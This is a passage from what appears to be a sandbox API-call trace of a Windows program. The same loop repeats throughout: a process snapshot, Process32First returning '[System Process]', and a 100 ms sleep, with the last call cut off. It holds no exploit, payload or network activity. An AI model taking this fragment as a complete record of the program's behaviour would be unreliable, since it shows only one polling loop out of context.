(dwMilliseconds=0x64) [0261.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.823] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.955] Sleep (dwMilliseconds=0x64) [0261.964] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0261.979] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.079] Sleep (dwMilliseconds=0x64) [0262.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.134] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.226] Sleep (dwMilliseconds=0x64) [0262.228] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.245] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.378] Sleep (dwMilliseconds=0x64) [0262.381] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.403] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.509] Sleep (dwMilliseconds=0x64) [0262.517] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.532] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.628] Sleep (dwMilliseconds=0x64) [0262.636] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.650] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.719] Sleep (dwMilliseconds=0x64) [0262.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.788] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.858] Sleep (dwMilliseconds=0x64) [0262.860] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0262.879] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.979] Sleep (dwMilliseconds=0x64) [0262.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.013] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.107] Sleep (dwMilliseconds=0x64) [0263.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.132] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.315] Sleep (dwMilliseconds=0x64) [0263.317] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.369] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.441] Sleep (dwMilliseconds=0x64) [0263.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.457] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.558] Sleep (dwMilliseconds=0x64) [0263.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.573] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.674] Sleep (dwMilliseconds=0x64) [0263.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.688] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.786] Sleep (dwMilliseconds=0x64) [0263.794] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.809] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.882] Sleep (dwMilliseconds=0x64) [0263.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0263.900] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.002] Sleep (dwMilliseconds=0x64) [0264.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.036] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.140] Sleep (dwMilliseconds=0x64) [0264.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.162] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.267] Sleep (dwMilliseconds=0x64) [0264.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.292] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.407] Sleep (dwMilliseconds=0x64) [0264.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.426] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.501] Sleep (dwMilliseconds=0x64) [0264.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.555] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.665] Sleep (dwMilliseconds=0x64) [0264.666] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.716] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.783] Sleep (dwMilliseconds=0x64) [0264.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.799] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.896] Sleep (dwMilliseconds=0x64) [0264.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0264.949] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.075] Sleep (dwMilliseconds=0x64) [0265.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.097] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.195] Sleep (dwMilliseconds=0x64) [0265.197] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.211] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.316] Sleep (dwMilliseconds=0x64) [0265.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.338] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.431] Sleep (dwMilliseconds=0x64) [0265.439] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.453] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.519] Sleep (dwMilliseconds=0x64) [0265.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.540] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.678] Sleep (dwMilliseconds=0x64) [0265.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.703] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.829] Sleep (dwMilliseconds=0x64) [0265.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.845] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.959] Sleep (dwMilliseconds=0x64) [0265.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0265.974] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.078] Sleep (dwMilliseconds=0x64) [0266.080] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0266.097] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.233] Sleep (dwMilliseconds=0x64) [0266.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0266.260] Process32First (in: hSnapshot=0x21d0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.400] Sleep (dwMilliseconds=0x64) [0266.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2058 [0266.420] Process32First (in: hSnapshot=0x2058, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.484] Sleep (dwMilliseconds=0x64) [0266.499] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0266.606] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.672] Sleep (dwMilliseconds=0x64) [0267.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.030] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.191] Sleep (dwMilliseconds=0x64) [0267.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.208] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.314] Sleep (dwMilliseconds=0x64) [0267.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.337] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.464] Sleep (dwMilliseconds=0x64) [0267.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.492] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.558] Sleep (dwMilliseconds=0x64) [0267.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.617] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.691] Sleep (dwMilliseconds=0x64) [0267.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.706] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.806] Sleep (dwMilliseconds=0x64) [0267.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.821] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.942] Sleep (dwMilliseconds=0x64) [0267.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0267.959] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.063] Sleep (dwMilliseconds=0x64) [0268.071] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0268.085] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.150] Sleep (dwMilliseconds=0x64) [0268.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0268.179] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.264] Sleep (dwMilliseconds=0x64) [0268.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0268.286] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.374] Sleep (dwMilliseconds=0x64) [0268.375] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0268.397] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.477] Sleep (dwMilliseconds=0x64) [0268.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0268.491] Process32First (in: hSnapshot=0x21d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.572] Sleep (dwMilliseconds=0x64) [0268.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0268.586] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.661] Sleep (dwMilliseconds=0x64) [0268.663] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0268.677] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.779] Sleep (dwMilliseconds=0x64) [0268.780] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0268.796] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.898] Sleep (dwMilliseconds=0x64) [0268.923] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0268.935] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.033] Sleep (dwMilliseconds=0x64) [0269.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.047] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.187] Sleep (dwMilliseconds=0x64) [0269.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.228] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.420] Sleep (dwMilliseconds=0x64) [0269.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.538] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.665] Sleep (dwMilliseconds=0x64) [0269.666] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.679] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.786] Sleep (dwMilliseconds=0x64) [0269.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.804] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.869] Sleep (dwMilliseconds=0x64) [0269.871] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0269.956] Process32First 